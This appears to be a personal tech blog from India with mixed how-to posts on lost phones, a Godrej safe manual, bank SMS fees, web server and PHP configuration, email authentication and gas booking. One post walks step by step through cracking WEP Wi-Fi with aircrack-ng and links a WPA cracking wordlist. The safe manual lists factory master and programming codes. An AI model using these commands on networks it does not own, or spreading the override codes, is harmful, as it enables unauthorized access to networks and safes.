What if you lost or misplaced a mobile phone in India?

Yesterday I lost a mobile phone (Xolo Q700) when I was surfing some real estate agents in Delhi. When I discovered that the my is lost, I immediately blocked both the SIMs (it was a dual sim phone) by visiting my nearby Airtel Office with an ID Proof and a photograph (Original and Copy both), I also bought the duplicate SIMs on the same spot for Rs.25 each. The airtel executive told me to wait for 4 hours before the SIMs get functional.

Lost Xolo Q700

File an FIR with Police

Atleast by now, I could receive important calls with the aforesaid steps. Now comes the legal part. I visited my nearest Delhi Police Station and requested for an information and documents required for reporting a misplaced mobile phone. The attendant police officer on the reception asked me to bring Phone Invoice, ID Proof and an application. The application should include all sort of information about how your phone got misplaced, IMEI numbers etc, he said.

After writing the application and collecting the other two required documents, I headed again to the police station and submitted the documents as they requested. After they reviewed my case and writing the same on their books, they asked me to go to the adjoining Common Integrated Police Application (CIPA) room to get the original FIR copy. The guy there asked me IMEIs, Address, Name (though it was already in the application) and I was handed the FIR copy within 15 minutes, after that I got it stamped and signed from receptionist officer, and yipee! it’s done. It was a smooth process all in all.

Trace Mobile using IMIE

At the time of writing this post, my phone is still coming switched off (I tried both the numbers). If it’s really got stolen, I’m sure they will get it formatted from a nearby mobile shop and use their own SIM. Then comes the role of Delhi Police, as soon as phone sends signals to any service provider’s tower nearby with my reported IMEI, the phone will get traced.

I already requested Google Device Manager (thankfully I activated it soon after it was launched this year) to wipe out the device, send me the phone location and make a loud sound when someone switches on my phone in it’s original state while being online. I doubt someone will connect to the internet when my phone and SIMs were locked with very secured key phrases.

Tips to secure a phone

By following the below tips, I’m sure the damages in case of a lost mobile could be minimized.

  • Activate Google Device Manager
  • Install Wheres my Droid application, which is already being used by 85K peoples right now.
  • Always keep in record of your IMEI numbers (You can get it by dialing *#06# )
  • Make manual complete backups of your smartphone on regular basis.
  • Always fully encrypt your phone and SD Card.
  • Enable PIN lock on your SIM
  • Use a strong password and set it to auto lock every 10 seconds when Idle.
  • Use Cloud Services like Dropbox, Google Drive, SkyDrive.
  • Enable google syncing with Gmail, Contacts, Calendar and Settings
  • Use Auto-uploads feature of Google+, Dropbox, Flickr applications.
  • Use auto backup applications like Titanium Backup Pro, Helium, MyBackupPro, Carbon or Nandroid to auto backup to cloud.
  • Use SMS Backup + or SMS Backup & Restore to backup SMSes and Call logs to cloud.

Godrej e-Laptop Pro Electronic Safe: User Instructions


I am posting below the contents of the user instructions booklet which I found nowhere on the Godrej Security Solutions Website. I hope this would help anyone who misplaced their booklet like i did.

Attractive design, suitable for use in hotels, apartments, offices and homes, utilizing a proven and reliable digital operating system.


1. Display
2. Keypad
3. Override Re-set Keys
4. Motorized Steel Bolts
5. Battery Compartment
6. Phillips Screw for cover removal
7. Allen Wrench for Override Key access
8. MFG. Serial Number sticker
9. Override Keys
10. USB Port
11. Enabled with Internal Charging Facility.

Testing and replacing the batteries

Test battery level:

Battery level can be tested either with the door open or with the door closed and locked.

  1.  With door open: Press any number and then LOCK key. Display will show “bA- HI” or “bA- LO”. bA-LO means that you need to replace the batteries. This condition applies to both modes (Home mode & Hotel mode).
  2.  With the door locked: Press LOCK key. The display will show “bA- HI” or “bA-LO”. bA-LO means that you need to replace the batteries.

How to replace the batteries

  1.  Open the safe using your personal code or master code or, if the batteries are dead use Emergency Override key.
  2.  Remove the battery cover on the back panel by unscrewing the Phillips screw.
  3.  Remove the used 4 batteries.
  4.  Replace the batteries with 4 AA size alkaline batteries.
  5.  Replace the battery cover.
  6.  Dispose the used batteries an environment friendly way.
  7.  Replace the Phillips screw to secure the battery cover.
  8.  Keeping the door open, test the safe to make sure it works.

Hot keys – viewing/not viewing password while keying in:

If your lock Is set so that your code appears and you need it to not appear one time, you can press (0) then LOCK key before your code. Only dashes will appear for that one time. The next time you press your code it will appear as usual.

Likewise, if your lock is set up so that your code does not appear, you can press 9 then LOCK key before your code and your code will appear for that one time only.

This function applies to both modes (Home mode & Hotel mode).

To access the programming

  •  Unlock the safe.
  •  Press CLEAR key twice, the display will show “PROG”.
  •  Press 751019 while the word “PROG” is still on the display.
  •  The current setup will appear with the 1st digit flashing.
  •  All 6 sections must, be entered within 10 seconds. You can change all sections or as few as one section but all 6 sections must be entered if you are making any changes to section 1 -6. To keep a section programmed as it is currently set, simply press the same numbers that is currently displayed for that section.
  •  The display will show the date setup. Press the correct date then press LOCK key.
  •  The display will show the setup. Press the correct time then press LOCK key.
  •  The display will turn off.
  •  Press your code and LOCK key to activate the changes and lock the safe.

To set up the different features listed below, you must first decide how you want the safe to function.

Section 1 (digit of first display)

Code appearance on display

Press 0: If you DO NOT want your code to appear on the display (only dashes will appear) with beep sound when you press each key button.

Press 1: If you want your code to appear each time you press your code and then will flash your code for verification one time with beep sound when you press each key button.

Press 2: If you want your code to appear each time you press your code, with beep sound when you press each digit, with beep sound when you press each key button.

Section 2 (2nd digit): Preferred number of digits in your code

Press 3: To use a 3-digit code.

Press 4: To use a 4-digit code (Recommended & Default one under hotel & home mode).

Press 5: To use a 5-digit code.

Press 6: To use.a 6-digit code.

Press 7: To choose the length of code (3-6 digits) when you set the code.

Section 3 (3rd digit): Lockout delay

If the wrong code is entered 4 times in a row, the keypad will shut down for a length of time that you set.

This is to deter someone from opening your safe by trying random number. You must pick one of these three options:

Press 0: For no lockout delay

Press 1: For a 15 minute delay. (Recommended & Default one under hotel & home mode)

Press 2: For a 30 minute delay.

Section4 (4th digit): Master Code

The Master code will open the safe if you lose the code and Override Keys. The master code is preset at the factory.

Press 2: To turn OFF the master code feature.

Press 3: to turn ON the master code feature.

Section 5 (5th digit): Audit trial

Press 0: To only keep record of the openings.

Press 1: To only keep record of the openings & closings.

Section 6 (6th digit): Operational mode

This feature allows you to change how the safe operates, either for home mode or hotel mode. Press 0: To set for home mode.

Press 1: To set for hotel mode.


Mounting through the bottom of the safe:

  • Check the floor for what type it is. (wood, tile, concrete)
  • Get the appropriate anchors for the type of floor you have.
  •  Check location on the floor for concealed wires or pipes.
  • Mark the floor to drill for your anchor.
  •  Drill the appropriate size hole for the anchors you have.
  • Mount the safe, making sure it is secure.
  • For mounting to the top of a cabinet you may want to use carriage bolts through the top of the cabinet.
  •  DO NOT mount to a shelf in a cabinet or closet without anchoring to the wall behind the safe!

Mounting through the back of the safe:

  • Check the wall or cabinet for structural soundness.
  •  For safety, have someone help to hold the safe during mounting.
  •  Check location for concealed wires or pipes.
  •  Mark the surface to drill holes for the anchors you will be using.
  •  Drill the appropriate size holes for the anchors you are using.
  •  Having someone hold the unit, anchor the safe to the wall.
    •  Test the strength of the mounted safe so it will not fall off of the wall or cabinet.
    •  DO NOT place safe on a shelf without proper mounting into a wall.

Mounting Tips:

  •  The safe may be mounted to a wall or the inside of a cabinet or on the floor.
  • When mounting to a wall or cabinet, be sure of the load bearing so as to hold the weight of the safe and the contents.

(Failure to do so could result in the safe falling and damaging property and people.)

Opening instructions

  •  The safe comes set to the factory default code of 1234.
  • Press 1234 and the display will show “-OPEN-” then when fully unlocked will show “OPENED”.
  •  To close the door, press the LOCK. The display will show “CLOSE-” then when fully locked, will show “CLOSED”. If the display shows “ERROR” then refer section on error codes.

To change the Master Code

  • Open the safe.
  • Press CLEAR key twice, the screen will read “PROG”, then key in the original master code (factory preset is 800000), the LED display will read “NEU”
  • Key in the combination of 6 digit code you desire, the LED display will read “AGAIN”, then enter again the new master code and “LOCK” keyto confirm.
  • The LED display shows “DONE”, the new master code has been set up successfully.

To change your Personal Code

For Hotel Mode:

  •  Open the safe.
  • Press your new 3-6 digit code followed by the LOCK key the display will show “CLOSE” followed by “CLOSED” when the door is fully locked.
  •  Test your new settings by opening the safe.
  •  If you get error code then follow the directions for opening the safe with the Override Keys.

For Home Mode:

  •  Open the safe. Press CLEAR key twice.
  •  Press Key 6 & then key 8 followed by LOCK key. The display will show” N EU”.
  •  Press your new code (3-6 digits, depending on setup)
  •  Press LOCK key and the safe will lock.
  •  Test your new code by opening the safe.
  •  If you get an error code then follow the direction for resetting the safe with the Override Keys.

Closing the safe

Hotel Mode:

  •  Press your new code (3-6 digits).
  •  Press LOCK key and the safe will lock.

Home Mode:

  •  Press LOCK key and the display will show “CLOSE” followed by “CLOSED” when the bolts are fully locked.
  •  If you get any other message on the display, please referto the section on Error Code.

Charging your Laptop

  • Enabled with an in-built charging point on the right hand corner, to conveniently charge the laptop.

To run Audit trial

For hotel mode – To know the record of how many times the safe has been opened/ to retrieve last used passwords.

  • Unlock the safe.
  • Press CLEAR key twice. The display will show “PROG”.
  • Press 770626.The display will show the latest record.
  • To advance to the next display press LOCK key.
  • To go to a specific record number, press the record number during the first display (i.e.001).
  • To exit out of audit trail, just wait 2 minutes and the display will go blank.

Opening the Safe using the Override Keys:

  • Using the supplied Allen wrench, unscrew one of the screws     holding the   Godrej     name plate on the front of the safe and rotate to exposed the key cylinder.
  • Take one of the Override Keys and insert it into the cylinder and turns clockwise         to open the Safe, then turn the Key back to locked position and remove it.
  • Press the LOCK key within 15 sec, the bolts will be retracted.
  • If you need to change the batteries do so now.
  • If you need to change / reset your code.

Error Messages

Listed below are error codes you might encounter:

HOLD 15 indicates that the wrong code has been pressed 4 times in a row. You will not be able to open your safe for 15 minutes, (pressing any button during this time will show how many minutes are remaining).

ERROR indicates that the wrong code was pressed. Check your code and try again.

ERROR1 indicates that the bolts failed to retract fully to allow the door to open. Press in ON the door to relieve the pressure and try to open the door again. If you continuously get this error code then you will need to contact your distributor or company for service.

ERROR2 indicates that the bolts have failed to close fully. This is usually because the safe is too full. Redistribute the contents or remove something to allow the door to close completely. If you continually get this message even if the safe is empty then you will need to call your distributor or company.

Banks levying charges for SMS Alerts

While reviewing my bank statement recently, I see a deduction of Rs.56 under following description:


This charge is for Insta Alerts service of HDFC Bank

Effective 1st April 2013, customers registered for InstaAlert service with ‘SMS’ as the alert delivery channel, would be charged as follows:

  • Salary/Savings Account : Rs. 15/- per quarter
  • Current Account : Rs. 25/- per quarter

Please note:

  • Customers who have selected only ‘Email’ as the delivery channel for receiving InstaAlerts will not be charged.
  • Debit/Credit Card Transaction alerts sent as per regulatory guidelines and NetBanking transaction alerts do not form part of InstaAlert Service. Customers who are not registered for InstaAlert service will continue to get these alerts free of charge.

IDBI Bank, Punjab National Bank, State Bank of India, State Bank of Patiala, ING-Vysya Bank and Vijaya Bank are currently charging their customers for SMS alerts, even though the RBI hasn’t issued any guidelines in this regard.

While SBI started charging for SMS alerts in April, PNB and SBP imposed it from July.

Banks, led by SBI, ICICI Bank and Axis Bank, are charging Rs 60 annually to send text messages about cash withdrawals and other facilities. Others such as Canara Bank are charging more than Rs 100, while HDFC Bank said they were levying a Rs 60 fee only for “special alerts” such as bounced cheques, salary credits or the balance going below a specified level. IDBI Bank and Vijaya Bank have excluded savings bank accounts from the paid SMS alert service.

Disabling SMS Alerts in HDFC Bank:

  • Login https://netbanking.hdfcbank.com/netbanking/
  • Click “Insta Alerts” on the top bar.
  • Select Account, Click View
  • Under “Set alerts for account xxx”, Select the alerts and click the delete button in the bottom.
  • Confirm the action.
  • You’re done. No money will be deducted from your account now.

Disabling SMS Alerts in SBI Bank:

  • Login to your account https://www.onlinesbi.com/retail/login.htm
  • Click e-Services button on tab on top.
  • Click “Sms Alerts” on left panel.
  • Select the account and click proceed.
  • Click “To disable sms alerts click here”
  • Click ok in “Are you sure you want to disable sms alerts?” popup.
  • Done.

Reduce Page Margin of PDF Template in Fusion Invoice

While polishing my newly created Fusion Invoice Template, I wanted to decrease the page margins by half to accommodate more of my terms in a single page. After figuring out the library (MPDF) being used for generating PDFs from HTML, I found the helper responsible for creating the actual PDFs from within the application.

The helper file can be located at /application/helpers/mpdf_helper.php

In there, at about line # 24, comment out the following line of code:
$mpdf = new mPDF();

And add the following line of code above or below the commented line:
$mpdf=new mPDF('','', 0, '', 15, 15, 16, 16, 9, 9, 'P');

Which will set margin to its default values:

margin_left 15
margin_right 15
margin_top 16
margin_bottom 16
margin_header 9
margin_footer 9

All values should be specified as LENGTH in millimetres.
If you are creating a DOUBLE-SIDED document, the margin values specified will be used for ODD pages; left and right margins will be mirrored for EVEN pages.

Resource: http://mpdf1.com/manual/index.php?tid=184

This Htaccess inclusion can make your website faster!

Please find below my customized version of htaccess file I use with all almost all my web portals using apache web server.

AddDefaultCharset UTF-8

Options All -Indexes +FollowSymLinks

Header unset Pragma
Header append Vary Accept-Encoding

Header set Connection keep-alive

# BEGIN Cache-Control Headers

Header set Cache-Control "max-age=2592000, public"

Header set Cache-Control "max-age=604800, public"

Header set Cache-Control "max-age=604800, private"

Header set Cache-Control "max-age=216000, public, must-revalidate"

Header set Cache-Control "max-age=1, private, must-revalidate"

# END Cache-Control Headers

mod_gzip_on Yes
mod_gzip_dechunk Yes
mod_gzip_item_include file .(html?|xml|txt|css|js|php|pl)$
mod_gzip_item_include handler ^cgi-script$
mod_gzip_item_include mime ^text/.*
mod_gzip_item_include mime ^application/x-javascript.*
mod_gzip_item_exclude mime ^image/.*
mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*

AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript

ExpiresActive On
ExpiresDefault "access plus 1 seconds"
ExpiresByType text/html "access plus 1 seconds"
ExpiresByType application/xhtml+xml "access plus 1 seconds"
ExpiresByType image/gif "access plus 2 weeks"
ExpiresByType image/png "access plus 2 weeks"
ExpiresByType image/jpg "access plus 2 weeks"
ExpiresByType image/jpeg "access plus 2 weeks"
ExpiresByType video/ogg "access plus 2 weeks"
ExpiresByType audio/ogg "access plus 2 weeks"
ExpiresByType video/mp4 "access plus 2 weeks"
ExpiresByType image/x-icon "access plus 2 weeks"
ExpiresByType text/css "access plus 2 weeks"
ExpiresByType text/javascript "access plus 2 weeks"
ExpiresByType application/javascript "access plus 2 weeks"
ExpiresByType application/x-javascript "access plus 2 weeks"

How to recover WEP key on a Wifi Router using BackTrack 5

  • BackTrack > Open GUI Mode > Open Terminal
  • Check wifi adaptor compatibility with “iwconfig”
  • Put adaptor in monitor mode with “airmon-ng start wlan0”
  • Scan for networks with “airodump-ng mon0”
  • Find the “WEP” network you want to crack and copy it’s BSSID
  • Capture packets with “airodump-ng -c <channel> -w <output filename> –bssid <bssid> mon0”
  • Open new tab with CTRL+SHIFT+T and type “aireplay-ng –arpreplay -b <bssid> -h <STATION> mon0”
  • “STATION” can be found in “airodump” tab.
  • Open new tab and write “aircrack-ng -z -b <bssid> <output filename from earlier>*.cap”
  • After successful crack, you will be notified about key found and the key will be in ASCII.

WPA-PSK and WPA2-PSK can also be hacked with a list of words which can be suplied to aircrack-ng (http://rapidshare.com/files/381817903/w.p.a.list_txtFile_800MB.zip)

Wifi Repeating Softwares:
Windows: Marifi, Connectify, MyPublicWifi
Linux: Hostapd
Android: Not Possible



Getting Started with CodeIgniter

Auto load the following libraries and helpers by putting the following code lines in application/config/autoload.php:

$autoload['libraries'] = array('database');
$autoload['helper'] = array('url', 'file');

Creating a new model as application/models/post_model.php:

db->select('post_title, post_content, post_date'); 
        $query = $this->db->get('wizey_posts');
        if ($query->num_rows() > 0)
          return $query->result();
        } else {
          return array();

Creating a new controller as application/controllers/blog.php:

load->model('Blog_model', 'blog');
      $data['query'] = $this->blog->getall();
      $this->load->view('index', $data);


Creating a new View as applications/views/index.php:


post_title; ?>

post_content; ?> post_date; ?>

Create a new table named “wizey_posts” in connected database using PHPMYADMIN and create new fields in it naming “post_id”, “post_title”, “post_content” and “post_date”. Insert sample data there using the same interface. Make sure to set the correct value to $route[‘default_controller’] in application/config/routes.php

To be able to enable Profiling of code, make sure the following code lines are present in php configuration file php.ini,

; XDEBUG Extension
zend_extension = "c:/wamp/bin/php/php5.4.3/zend_ext/php_xdebug-2.2.0-5.4-vc9-x86_64.dll"
xdebug.remote_enable = On
xdebug.profiler_enable = On
xdebug.profiler_enable_trigger = Off
xdebug.profiler_output_name = cachegrind.out.%t.%p
xdebug.profiler_output_dir = "c:/wamp/tmp"
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "localhost"
xdebug.remote_port = 9000

Restart Apache and verify that xdebug is enabled by using the phpinfo(); function. Then Download Webgrind from github and edit it’s configuration file and change the $storageDir and $profilerDir variables to match the same directory you mentioned in php.ini’s xdebug.profiler_output_dir variable. Also put “php_flag xdebug.profiler_enable 0” without quotes in .htacess file in webgrind directory to prevent it’s own profiling.

Improving Google Apps generated emails


Add the following TXT record in your domain’s DNS Manager:

v=spf1 a mx include:_spf.google.com ~all

You can leave the hostname field blank. If your DNS manager isn’t letting you leave it blank, put “@” in that field without quotes.


  • Go to https://www.google.com/a/cpanel/example.com/
  • Go to Advanced Tools > Authenticate email > Set up email authentication (DKIM)
  • Generate new DKIM key and place it as a TXT record in your DNS manager.
  • Wait for few hours for DNS propagation and verify the DKIM keys in your Google Apps Cpanel.

Google’s definition to SPF and DKIM:

  1. SPF record: An SPF record is a list of IP addresses that are authorized to send mail for a particular domain. For more information on how to publish an SPF record, please visit http://www.openspf.net.
  2. DKIM: DKIM (DomainKeys Identified Mail) is a way to digitally sign messages and verify that the messages were sent by a particular domain. It works like a wax seal on an envelope, preventing messages from being tampered with.

Tools to verify SPF and DKIM

  • http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/
  • http://www.kitterman.com/spf/validate.html
  • http://www.mail-tester.com/
  • http://mxtoolbox.com/ (use syntax in search box like spf: example.com)


  • http://support.google.com/mail/bin/answer.py?hl=en&ctx=mail&answer=1311182
  • http://support.google.com/a/bin/answer.py?hl=en&answer=174124

Online/ SMS Gas Booking in India: Bharatgas, Indane Gas and HP Gas

In the recent Lohri festival gathering of our society, one aunty came to me for a guide in booking cooking gas cylinders on her own, either through Internet or a mobile phone. I asked her to follow a procedure mentioned on her cooking gas company’s website (In her case, It was Bharat Gas), which she said seems to be a puzzle for her. So I’m trying to put together an easy to follow stepwise procedure for almost all the cooking companies I heard in and around my area.


Through Internet/ Online:

  • Go to http://www.ebharatgas.com/pages/Customer_Console/Customer_New_Register.html
  • Select from the dropdown your State, City, Distributor and Consumer number as written in your previous transaction or booking slip.
  • In case you are not aware of your Distributor Code, use the search tool at http://www.ebharatgas.com/ebgas/faces/findSapcode.jsp
  • After logging into their control panel called “Customer Console”, you will have various options like KYC, Rate your Distributor, Place Order, View Previous Order, Register for Second Connection, Change Password, Surrender Connection, View Complaint Status, Modify Profile etc.
  • You can Click the button “Place Order” for a new online refill request.

Through SMS:

  • Register your mobile number by either register online as I mentioned above or by sending an SMS in the format  REG<space>DistributorCode<space>ConsumerNumber to 57333 or 52725.
  • In case you are not aware of your Distributor Code, use the search tool at http://www.ebharatgas.com/ebgas/faces/findSapcode.jsp
  • After receiving the confirmation message for registration, you are now eligible to book a refill through a SMS by sending a text message with content as “LPG” to 57333 or 52725.
  • In case of help, you can call Bharatgas toll-free customer care number 1800-2333-555.

Indane Gas

  • Go to http://indane.co.in/new_customer.php to register as an existing customer on website.
  • If already registered on website, Delhiites can go to http://www.indanemis.co.in/indane/ and others can go to http://indane.co.in/invalidlog.php for a new refill request.

HP Gas

  • Go to http://dcms.hpcl.co.in/ConsumerPortal/SecurityProfile/UpgradeStatusConsumer.aspx to register as an existing customer on website.
  • If already registered on website, go to http://dcms.hpcl.co.in/ConsumerPortal/Logging/SecureLogin.aspx to login using registered email address and ordering a new refill request.

Please note, I have yet to complete procedures for Indane and HP Gas booking. I will do it as soon as I get time.


Airtel Landline Dynamic Lock/Unlock Calls, Enable/Disable Call Divert & Waiting

I’m not a person sitting in the office or home for hours, instead I am mostly dependent on my mobile device and tablet for most of the tasks. Therefore I was skeptical about my fixed and bulky electronics including my telephone line being mis-used by anyone. From sometime I am using security codes in almost all my gadgets but soon I realized my telephone instrument was the only device which was available for public use. I instantly dialed “121” to talk to the Airtel Customer Care department and he told me to do the following steps in order to get my outgoing phone calls locked. I wasn’t able to find the exact information online, so here you go.





As far as I know, some services like calls blocking are provided free of cost and call diverting is charged on the basis of actual call rate, but do confirm the same from Airtel CC. They sometimes change policies and tariffs on value added services without prior informing the customers. I hope this information will be helpful to my blog visitors.